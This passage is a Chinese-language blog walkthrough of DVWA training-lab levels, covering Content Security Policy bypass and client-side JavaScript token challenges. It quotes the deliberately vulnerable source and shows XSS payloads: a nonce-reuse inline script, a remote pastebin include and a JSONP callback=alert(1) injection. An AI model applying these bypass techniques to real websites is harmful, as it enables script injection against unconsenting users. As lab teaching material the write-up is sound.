将这个网址输入到文本框中,点击include 包含这个文本进来,成功弹框

https://pastebin.com/raw/bREf96GJ

Medium CSP

分析源码:
<?php
 
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
 
header($headerCSP);
 
// Disable XSS protections so that inline alert boxes will work
 
header ("X-XSS-Protection: 0");
 
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
 
?>
 
<?php
 
if (isset ($_POST['include'])) {
 
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
 
}
 
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';>

http头信息中的script-src的合法来源发生了变化,说明如下

1.unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。
2.nonce-source,仅允许特定的内联脚本块,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA”

可以直接输入以下代码

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("hahaha")</script>

成功弹框:

image-20220225011400165

(high)

image-20220225011448518

分析源码:
 <?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

vulnerabilities/csp/source/high.js
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

这里的CSP过滤规则,只允许加载self 也就是本页面的脚本

查看这个页面的源代码

//会生成一个script 标签
 
function clickButton() {
 
    var s = document.createElement("script");
 
    s.src = "source/jsonp.php?callback=solveSum";
 
    document.body.appendChild(s);
 
}
 
function solveSum(obj) {
 
    if ("answer" in obj) {
 
        document.getElementById("answer").innerHTML = obj['answer'];
 
    }
 
}
 
//监听到solve 按钮,就会调用clickButton() 函数
 
var solve_button = document.getElementById ("solve");
 
if (solve_button) {
 
    solve_button.addEventListener("click", function() {
 
        clickButton();
 
    });
 
}
 
方法:

分析代码,可使用攻击post请求提交参数,具体攻击方法如下

我们抓包修改 callback=alert(1) 发送数据包

Poc/DVWA/vulnerabilities/csp/source/jsonp.php?callback=alert(1)

,触发弹窗

image-20220225012509504

JavaScript Attacks(JS攻击)

JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的

(low)

分析源码:
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }
    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }
    generate_token();
</script>
EOF;
?>

再来看一下index.html

$message = "";
 
// Check whwat was sent in to see if it was what was expected
 
if ($_SERVER['REQUEST_METHOD'] == "POST") {
 
    if (array_key_exists ("phrase", $_POST) && array_key_exists ("token", $_POST)) {
 
 
 
        $phrase = $_POST['phrase'];
 
        $token = $_POST['token'];
 
 
 
        if ($phrase == "success") {
 
            switch( $_COOKIE[ 'security' ] ) {
 
                case 'low':
 
                    if ($token == md5(str_rot13("success"))) {
 
                        $message = "<p style='color:red'>Well done!</p>";
 
                    } else {
 
                        $message = "<p>Invalid token.</p>";
 
                    }
            }
        }
    }
}

这里通过Post 方式获取变量phrase 和token 的值,if(phrase == “success”) 且token值正确的话,就输出well done!

直接输入success 发现无效

检查页面源代码,发现token的值由md5(rot13(phrase))决定的image-20220225013041301

中间那一大团使用了 md5 加密生成了 token,和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值

str_rot13() 函数对字符串执行 ROT13 编码。
ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
可以看到只要token等于md5加密success全体移动13个字母后的字母,就能通过。

通过console 控制台直接拿到token值

image-20220225013237730

token=38581812b435834ebf84ebcc2c6424d6

接下来直接post请求提交,即可成功

image-20220225013400401

(Medium)

分析源码:
<?php
 
$page[ 'body' ] .= '<script 
src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js">
</script>';
 
?>

查看medium.js

function do_something(e) {
 
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
 
    return t
 
}
 
setTimeout(function () {
 
    do_elsesomething("XX")
 
}, 300);
 
function do_elsesomething(e) {
 
    document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
 
}

这里我们分析代码发现这段代码就是将phrase变量的值逆序,也就是sseccus;生成的token值=XXsseccusXX

这里我们直接提交

image-20220225013625039

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值